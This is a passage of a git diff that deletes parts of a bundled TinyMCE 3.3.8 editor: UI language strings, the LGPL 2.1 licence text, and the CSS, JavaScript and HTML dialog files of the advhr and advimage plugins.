paste mode. After you paste something you will be returned to regular paste mode.", -plaintext_mode:"Paste is now in plain text mode. Click again to toggle back to regular paste mode." -}, -paste_dlg:{ -text_title:"Use CTRL+V on your keyboard to paste the text into the window.", -text_linebreaks:"Keep linebreaks", -word_title:"Use CTRL+V on your keyboard to paste the text into the window." -}, -table:{ -desc:"Inserts a new table", -row_before_desc:"Insert row before", -row_after_desc:"Insert row after", -delete_row_desc:"Delete row", -col_before_desc:"Insert column before", -col_after_desc:"Insert column after", -delete_col_desc:"Remove column", -split_cells_desc:"Split merged table cells", -merge_cells_desc:"Merge table cells", -row_desc:"Table row properties", -cell_desc:"Table cell properties", -props_desc:"Table properties", -paste_row_before_desc:"Paste table row before", -paste_row_after_desc:"Paste table row after", -cut_row_desc:"Cut table row", -copy_row_desc:"Copy table row", -del:"Delete table", -row:"Row", -col:"Column", -cell:"Cell" -}, -autosave:{ -unload_msg:"The changes you made will be lost if you navigate away from this page.", -restore_content:"Restore auto-saved content.", -warning_message:"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?." -}, -fullscreen:{ -desc:"Toggle fullscreen mode" -}, -media:{ -desc:"Insert / edit embedded media", -edit:"Edit embedded media" -}, -fullpage:{ -desc:"Document properties" -}, -template:{ -desc:"Insert predefined template content" -}, -visualchars:{ -desc:"Visual control characters on/off." -}, -spellchecker:{ -desc:"Toggle spellchecker", -menu:"Spellchecker settings", -ignore_word:"Ignore word", -ignore_words:"Ignore all", -langs:"Languages", -wait:"Please wait...", -sug:"Suggestions", -no_sug:"No suggestions", -no_mpell:"No misspellings found." -}, -pagebreak:{ -desc:"Insert page break." -}, -advlist:{ -types:"Types", -def:"Default", -lower_alpha:"Lower alpha", -lower_greek:"Lower greek", -lower_roman:"Lower roman", -upper_alpha:"Upper alpha", -upper_roman:"Upper roman", -circle:"Circle", -disc:"Disc", -square:"Square" -}}}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/license.txt b/tinymce-3.3.8/jscripts/tiny_mce/license.txt deleted file mode 100644 index 60d6d4c..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/license.txt +++ /dev/null @@ -1,504 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -Licenses are intended to guarantee your freedom to share and change -free software--to make sure the software is free for all its users. - - This license, the Lesser General Public License, applies to some -specially designated software packages--typically libraries--of the -Free Software Foundation and other authors who decide to use it. You -can use it too, but we suggest you first think carefully about whether -this license or the ordinary General Public License is the better -strategy to use in any particular case, based on the explanations below. - - When we speak of free software, we are referring to freedom of use, -not price. Our General Public Licenses are designed to make sure that -you have the freedom to distribute copies of free software (and charge -for this service if you wish); that you receive source code or can get -it if you want it; that you can change the software and use pieces of -it in new free programs; and that you are informed that you can do -these things. - - To protect your rights, we need to make restrictions that forbid -distributors to deny you these rights or to ask you to surrender these -rights. These restrictions translate to certain responsibilities for -you if you distribute copies of the library or if you modify it. - - For example, if you distribute copies of the library, whether gratis -or for a fee, you must give the recipients all the rights that we gave -you. You must make sure that they, too, receive or can get the source -code. If you link other code with the library, you must provide -complete object files to the recipients, so that they can relink them -with the library after making changes to the library and recompiling -it. And you must show them these terms so they know their rights. - - We protect your rights with a two-step method: (1) we copyright the -library, and (2) we offer you this license, which gives you legal -permission to copy, distribute and/or modify the library. - - To protect each distributor, we want to make it very clear that -there is no warranty for the free library. Also, if the library is -modified by someone else and passed on, the recipients should know -that what they have is not the original version, so that the original -author's reputation will not be affected by problems that might be -introduced by others. - - Finally, software patents pose a constant threat to the existence of -any free program. We wish to make sure that a company cannot -effectively restrict the users of a free program by obtaining a -restrictive license from a patent holder. Therefore, we insist that -any patent license obtained for a version of the library must be -consistent with the full freedom of use specified in this license. - - Most GNU software, including some libraries, is covered by the -ordinary GNU General Public License. This license, the GNU Lesser -General Public License, applies to certain designated libraries, and -is quite different from the ordinary General Public License. We use -this license for certain libraries in order to permit linking those -libraries into non-free programs. - - When a program is linked with a library, whether statically or using -a shared library, the combination of the two is legally speaking a -combined work, a derivative of the original library. The ordinary -General Public License therefore permits such linking only if the -entire combination fits its criteria of freedom. The Lesser General -Public License permits more lax criteria for linking other code with -the library. - - We call this license the "Lesser" General Public License because it -does Less to protect the user's freedom than the ordinary General -Public License. It also provides other free software developers Less -of an advantage over competing non-free programs. These disadvantages -are the reason we use the ordinary General Public License for many -libraries. However, the Lesser license provides advantages in certain -special circumstances. - - For example, on rare occasions, there may be a special need to -encourage the widest possible use of a certain library, so that it becomes -a de-facto standard. To achieve this, non-free programs must be -allowed to use the library. A more frequent case is that a free -library does the same job as widely used non-free libraries. In this -case, there is little to gain by limiting the free library to free -software only, so we use the Lesser General Public License. - - In other cases, permission to use a particular library in non-free -programs enables a greater number of people to use a large body of -free software. For example, permission to use the GNU C Library in -non-free programs enables many more people to use the whole GNU -operating system, as well as its variant, the GNU/Linux operating -system. - - Although the Lesser General Public License is Less protective of the -users' freedom, it does ensure that the user of a program that is -linked with the Library has the freedom and the wherewithal to run -that program using a modified version of the Library. - - The precise terms and conditions for copying, distribution and -modification follow. Pay close attention to the difference between a -"work based on the library" and a "work that uses the library". The -former contains code derived from the library, whereas the latter must -be combined with the library in order to run. - - GNU LESSER GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any software library or other -program which contains a notice placed by the copyright holder or -other authorized party saying it may be distributed under the terms of -this Lesser General Public License (also called "this License"). -Each licensee is addressed as "you". - - A "library" means a collection of software functions and/or data -prepared so as to be conveniently linked with application programs -(which use some of those functions and data) to form executables. - - The "Library", below, refers to any such software library or work -which has been distributed under these terms. A "work based on the -Library" means either the Library or any derivative work under -copyright law: that is to say, a work containing the Library or a -portion of it, either verbatim or with modifications and/or translated -straightforwardly into another language. (Hereinafter, translation is -included without limitation in the term "modification".) - - "Source code" for a work means the preferred form of the work for -making modifications to it. For a library, complete source code means -all the source code for all modules it contains, plus any associated -interface definition files, plus the scripts used to control compilation -and installation of the library. - - Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running a program using the Library is not restricted, and output from -such a program is covered only if its contents constitute a work based -on the Library (independent of the use of the Library in a tool for -writing it). Whether that is true depends on what the Library does -and what the program that uses the Library does. - - 1. You may copy and distribute verbatim copies of the Library's -complete source code as you receive it, in any medium, provided that -you conspicuously and appropriately publish on each copy an -appropriate copyright notice and disclaimer of warranty; keep intact -all the notices that refer to this License and to the absence of any -warranty; and distribute a copy of this License along with the -Library. - - You may charge a fee for the physical act of transferring a copy, -and you may at your option offer warranty protection in exchange for a -fee. - - 2. You may modify your copy or copies of the Library or any portion -of it, thus forming a work based on the Library, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) The modified work must itself be a software library. - - b) You must cause the files modified to carry prominent notices - stating that you changed the files and the date of any change. - - c) You must cause the whole of the work to be licensed at no - charge to all third parties under the terms of this License. - - d) If a facility in the modified Library refers to a function or a - table of data to be supplied by an application program that uses - the facility, other than as an argument passed when the facility - is invoked, then you must make a good faith effort to ensure that, - in the event an application does not supply such function or - table, the facility still operates, and performs whatever part of - its purpose remains meaningful. - - (For example, a function in a library to compute square roots has - a purpose that is entirely well-defined independent of the - application. Therefore, Subsection 2d requires that any - application-supplied function or table used by this function must - be optional: if the application does not supply it, the square - root function must still compute square roots.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Library, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Library, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote -it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Library. - -In addition, mere aggregation of another work not based on the Library -with the Library (or with a work based on the Library) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may opt to apply the terms of the ordinary GNU General Public -License instead of this License to a given copy of the Library. To do -this, you must alter all the notices that refer to this License, so -that they refer to the ordinary GNU General Public License, version 2, -instead of to this License. (If a newer version than version 2 of the -ordinary GNU General Public License has appeared, then you can specify -that version instead if you wish.) Do not make any other change in -these notices. - - Once this change is made in a given copy, it is irreversible for -that copy, so the ordinary GNU General Public License applies to all -subsequent copies and derivative works made from that copy. - - This option is useful when you wish to copy part of the code of -the Library into a program that is not a library. - - 4. You may copy and distribute the Library (or a portion or -derivative of it, under Section 2) in object code or executable form -under the terms of Sections 1 and 2 above provided that you accompany -it with the complete corresponding machine-readable source code, which -must be distributed under the terms of Sections 1 and 2 above on a -medium customarily used for software interchange. - - If distribution of object code is made by offering access to copy -from a designated place, then offering equivalent access to copy the -source code from the same place satisfies the requirement to -distribute the source code, even though third parties are not -compelled to copy the source along with the object code. - - 5. A program that contains no derivative of any portion of the -Library, but is designed to work with the Library by being compiled or -linked with it, is called a "work that uses the Library". Such a -work, in isolation, is not a derivative work of the Library, and -therefore falls outside the scope of this License. - - However, linking a "work that uses the Library" with the Library -creates an executable that is a derivative of the Library (because it -contains portions of the Library), rather than a "work that uses the -library". The executable is therefore covered by this License. -Section 6 states terms for distribution of such executables. - - When a "work that uses the Library" uses material from a header file -that is part of the Library, the object code for the work may be a -derivative work of the Library even though the source code is not. -Whether this is true is especially significant if the work can be -linked without the Library, or if the work is itself a library. The -threshold for this to be true is not precisely defined by law. - - If such an object file uses only numerical parameters, data -structure layouts and accessors, and small macros and small inline -functions (ten lines or less in length), then the use of the object -file is unrestricted, regardless of whether it is legally a derivative -work. (Executables containing this object code plus portions of the -Library will still fall under Section 6.) - - Otherwise, if the work is a derivative of the Library, you may -distribute the object code for the work under the terms of Section 6. -Any executables containing that work also fall under Section 6, -whether or not they are linked directly with the Library itself. - - 6. As an exception to the Sections above, you may also combine or -link a "work that uses the Library" with the Library to produce a -work containing portions of the Library, and distribute that work -under terms of your choice, provided that the terms permit -modification of the work for the customer's own use and reverse -engineering for debugging such modifications. - - You must give prominent notice with each copy of the work that the -Library is used in it and that the Library and its use are covered by -this License. You must supply a copy of this License. If the work -during execution displays copyright notices, you must include the -copyright notice for the Library among them, as well as a reference -directing the user to the copy of this License. Also, you must do one -of these things: - - a) Accompany the work with the complete corresponding - machine-readable source code for the Library including whatever - changes were used in the work (which must be distributed under - Sections 1 and 2 above); and, if the work is an executable linked - with the Library, with the complete machine-readable "work that - uses the Library", as object code and/or source code, so that the - user can modify the Library and then relink to produce a modified - executable containing the modified Library. (It is understood - that the user who changes the contents of definitions files in the - Library will not necessarily be able to recompile the application - to use the modified definitions.) - - b) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (1) uses at run time a - copy of the library already present on the user's computer system, - rather than copying library functions into the executable, and (2) - will operate properly with a modified version of the library, if - the user installs one, as long as the modified version is - interface-compatible with the version that the work was made with. - - c) Accompany the work with a written offer, valid for at - least three years, to give the same user the materials - specified in Subsection 6a, above, for a charge no more - than the cost of performing this distribution. - - d) If distribution of the work is made by offering access to copy - from a designated place, offer equivalent access to copy the above - specified materials from the same place. - - e) Verify that the user has already received a copy of these - materials or that you have already sent this user a copy. - - For an executable, the required form of the "work that uses the -Library" must include any data and utility programs needed for -reproducing the executable from it. However, as a special exception, -the materials to be distributed need not include anything that is -normally distributed (in either source or binary form) with the major -components (compiler, kernel, and so on) of the operating system on -which the executable runs, unless that component itself accompanies -the executable. - - It may happen that this requirement contradicts the license -restrictions of other proprietary libraries that do not normally -accompany the operating system. Such a contradiction means you cannot -use both them and the Library together in an executable that you -distribute. - - 7. You may place library facilities that are a work based on the -Library side-by-side in a single library together with other library -facilities not covered by this License, and distribute such a combined -library, provided that the separate distribution of the work based on -the Library and of the other library facilities is otherwise -permitted, and provided that you do these two things: - - a) Accompany the combined library with a copy of the same work - based on the Library, uncombined with any other library - facilities. This must be distributed under the terms of the - Sections above. - - b) Give prominent notice with the combined library of the fact - that part of it is a work based on the Library, and explaining - where to find the accompanying uncombined form of the same work. - - 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any -attempt otherwise to copy, modify, sublicense, link with, or -distribute the Library is void, and will automatically terminate your -rights under this License. However, parties who have received copies, -or rights, from you under this License will not have their licenses -terminated so long as such parties remain in full compliance. - - 9. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Library or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Library (or any work based on the -Library), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Library or works based on it. - - 10. Each time you redistribute the Library (or any work based on the -Library), the recipient automatically receives a license from the -original licensor to copy, distribute, link with or modify the Library -subject to these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties with -this License. - - 11. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Library at all. For example, if a patent -license would not permit royalty-free redistribution of the Library by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Library. - -If any portion of this section is held invalid or unenforceable under any -particular circumstance, the balance of the section is intended to apply, -and the section as a whole is intended to apply in other circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 12. If the distribution and/or use of the Library is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Library under this License may add -an explicit geographical distribution limitation excluding those countries, -so that distribution is permitted only in or among countries not thus -excluded. In such case, this License incorporates the limitation as if -written in the body of this License. - - 13. The Free Software Foundation may publish revised and/or new -versions of the Lesser General Public License from time to time. -Such new versions will be similar in spirit to the present version, -but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Library -specifies a version number of this License which applies to it and -"any later version", you have the option of following the terms and -conditions either of that version or of any later version published by -the Free Software Foundation. If the Library does not specify a -license version number, you may choose any version ever published by -the Free Software Foundation. - - 14. If you wish to incorporate parts of the Library into other free -programs whose distribution conditions are incompatible with these, -write to the author to ask for permission. For software which is -copyrighted by the Free Software Foundation, write to the Free -Software Foundation; we sometimes make exceptions for this. Our -decision will be guided by the two goals of preserving the free status -of all derivatives of our free software and of promoting the sharing -and reuse of software generally. - - NO WARRANTY - - 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO -WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR -OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY -KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE -LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME -THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN -WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY -AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU -FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR -CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING -RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A -FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF -SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH -DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Libraries - - If you develop a new library, and you want it to be of the greatest -possible use to the public, we recommend making it free software that -everyone can redistribute and change. You can do so by permitting -redistribution under these terms (or, alternatively, under the terms of the -ordinary General Public License). - - To apply these terms, attach the following notices to the library. It is -safest to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least the -"copyright" line and a pointer to where the full notice is found. - - <one line to give the library's name and a brief idea of what it does.> - Copyright (C) <year> <name of author> - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -Also add information on how to contact you by electronic and paper mail. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the library, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the - library `Frob' (a library for tweaking knobs) written by James Random Hacker. - - <signature of Ty Coon>, 1 April 1990 - Ty Coon, President of Vice - -That's all there is to it! - - diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/css/advhr.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/css/advhr.css deleted file mode 100644 index 0e22834..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/css/advhr.css +++ /dev/null @@ -1,5 +0,0 @@ -input.radio {border:1px none #000; background:transparent; vertical-align:middle;} -.panel_wrapper div.current {height:80px;} -#width {width:50px; vertical-align:middle;} -#width2 {width:50px; vertical-align:middle;} -#size {width:100px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin.js deleted file mode 100644 index 4d3b062..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.AdvancedHRPlugin",{init:function(a,b){a.addCommand("mceAdvancedHr",function(){a.windowManager.open({file:b+"/rule.htm",width:250+parseInt(a.getLang("advhr.delta_width",0)),height:160+parseInt(a.getLang("advhr.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("advhr",{title:"advhr.advhr_desc",cmd:"mceAdvancedHr"});a.onNodeChange.add(function(d,c,e){c.setActive("advhr",e.nodeName=="HR")});a.onClick.add(function(c,d){d=d.target;if(d.nodeName==="HR"){c.selection.select(d)}})},getInfo:function(){return{longname:"Advanced HR",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advhr",tinymce.plugins.AdvancedHRPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js deleted file mode 100644 index 0c652d3..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/editor_plugin_src.js +++ /dev/null @@ -1,57 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.AdvancedHRPlugin', { - init : function(ed, url) { - // Register commands - ed.addCommand('mceAdvancedHr', function() { - ed.windowManager.open({ - file : url + '/rule.htm', - width : 250 + parseInt(ed.getLang('advhr.delta_width', 0)), - height : 160 + parseInt(ed.getLang('advhr.delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - // Register buttons - ed.addButton('advhr', { - title : 'advhr.advhr_desc', - cmd : 'mceAdvancedHr' - }); - - ed.onNodeChange.add(function(ed, cm, n) { - cm.setActive('advhr', n.nodeName == 'HR'); - }); - - ed.onClick.add(function(ed, e) { - e = e.target; - - if (e.nodeName === 'HR') - ed.selection.select(e); - }); - }, - - getInfo : function() { - return { - longname : 'Advanced HR', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advhr', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('advhr', tinymce.plugins.AdvancedHRPlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/js/rule.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/js/rule.js deleted file mode 100644 index b6cbd66..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/js/rule.js +++ /dev/null @@ -1,43 +0,0 @@ -var AdvHRDialog = { - init : function(ed) { - var dom = ed.dom, f = document.forms[0], n = ed.selection.getNode(), w; - - w = dom.getAttrib(n, 'width'); - f.width.value = w ? parseInt(w) : (dom.getStyle('width') || ''); - f.size.value = dom.getAttrib(n, 'size') || parseInt(dom.getStyle('height')) || ''; - f.noshade.checked = !!dom.getAttrib(n, 'noshade') || !!dom.getStyle('border-width'); - selectByValue(f, 'width2', w.indexOf('%') != -1 ? '%' : 'px'); - }, - - update : function() { - var ed = tinyMCEPopup.editor, h, f = document.forms[0], st = ''; - - h = '<hr'; - - if (f.size.value) { - h += ' size="' + f.size.value + '"'; - st += ' height:' + f.size.value + 'px;'; - } - - if (f.width.value) { - h += ' width="' + f.width.value + (f.width2.value == '%' ? '%' : '') + '"'; - st += ' width:' + f.width.value + (f.width2.value == '%' ? '%' : 'px') + ';'; - } - - if (f.noshade.checked) { - h += ' noshade="noshade"'; - st += ' border-width: 1px; border-style: solid; border-color: #CCCCCC; color: #ffffff;'; - } - - if (ed.settings.inline_styles) - h += ' style="' + tinymce.trim(st) + '"'; - - h += ' />'; - - ed.execCommand("mceInsertContent", false, h); - tinyMCEPopup.close(); - } -}; - -tinyMCEPopup.requireLangPack(); -tinyMCEPopup.onInit.add(AdvHRDialog.init, AdvHRDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/langs/en_dlg.js deleted file mode 100644 index 873bfd8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/langs/en_dlg.js +++ /dev/null @@ -1,5 +0,0 @@ -tinyMCE.addI18n('en.advhr_dlg',{ -width:"Width", -size:"Height", -noshade:"No shadow" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/rule.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/rule.htm deleted file mode 100644 index fc37b2a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advhr/rule.htm +++ /dev/null @@ -1,57 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advhr.advhr_desc}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/rule.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <link href="css/advhr.css" rel="stylesheet" type="text/css" /> -</head> -<body> -<form onsubmit="AdvHRDialog.update();return false;" action="#"> - <div class="tabs"> - <ul> - <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advhr.advhr_desc}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td><label for="width">{#advhr_dlg.width}</label></td> - <td class="nowrap"> - <input id="width" name="width" type="text" value="" class="mceFocus" /> - <select name="width2" id="width2"> - <option value="">px</option> - <option value="%">%</option> - </select> - </td> - </tr> - <tr> - <td><label for="size">{#advhr_dlg.size}</label></td> - <td><select id="size" name="size"> - <option value="">Normal</option> - <option value="1">1</option> - <option value="2">2</option> - <option value="3">3</option> - <option value="4">4</option> - <option value="5">5</option> - </select></td> - </tr> - <tr> - <td><label for="noshade">{#advhr_dlg.noshade}</label></td> - <td><input type="checkbox" name="noshade" id="noshade" class="radio" /></td> - </tr> - </table> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#insert}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/css/advimage.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/css/advimage.css deleted file mode 100644 index 0a6251a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/css/advimage.css +++ /dev/null @@ -1,13 +0,0 @@ -#src_list, #over_list, #out_list {width:280px;} -.mceActionPanel {margin-top:7px;} -.alignPreview {border:1px solid #000; width:140px; height:140px; overflow:hidden; padding:5px;} -.checkbox {border:0;} -.panel_wrapper div.current {height:305px;} -#prev {margin:0; border:1px solid #000; width:428px; height:150px; overflow:auto;} -#align, #classlist {width:150px;} -#width, #height {vertical-align:middle; width:50px; text-align:center;} -#vspace, #hspace, #border {vertical-align:middle; width:30px; text-align:center;} -#class_list {width:180px;} -input {width: 280px;} -#constrain, #onmousemovecheck {width:auto;} -#id, #dir, #lang, #usemap, #longdesc {width:200px;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin.js deleted file mode 100644 index 4c7a9c3..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){tinymce.create("tinymce.plugins.AdvancedImagePlugin",{init:function(a,b){a.addCommand("mceAdvImage",function(){if(a.dom.getAttrib(a.selection.getNode(),"class").indexOf("mceItem")!=-1){return}a.windowManager.open({file:b+"/image.htm",width:480+parseInt(a.getLang("advimage.delta_width",0)),height:385+parseInt(a.getLang("advimage.delta_height",0)),inline:1},{plugin_url:b})});a.addButton("image",{title:"advimage.image_desc",cmd:"mceAdvImage"})},getInfo:function(){return{longname:"Advanced image",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advimage",tinymce.plugins.AdvancedImagePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin_src.js deleted file mode 100644 index 2625dd2..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/editor_plugin_src.js +++ /dev/null @@ -1,50 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.AdvancedImagePlugin', { - init : function(ed, url) { - // Register commands - ed.addCommand('mceAdvImage', function() { - // Internal image object like a flash placeholder - if (ed.dom.getAttrib(ed.selection.getNode(), 'class').indexOf('mceItem') != -1) - return; - - ed.windowManager.open({ - file : url + '/image.htm', - width : 480 + parseInt(ed.getLang('advimage.delta_width', 0)), - height : 385 + parseInt(ed.getLang('advimage.delta_height', 0)), - inline : 1 - }, { - plugin_url : url - }); - }); - - // Register buttons - ed.addButton('image', { - title : 'advimage.image_desc', - cmd : 'mceAdvImage' - }); - }, - - getInfo : function() { - return { - longname : 'Advanced image', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advimage', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('advimage', tinymce.plugins.AdvancedImagePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/advimage/image.htm 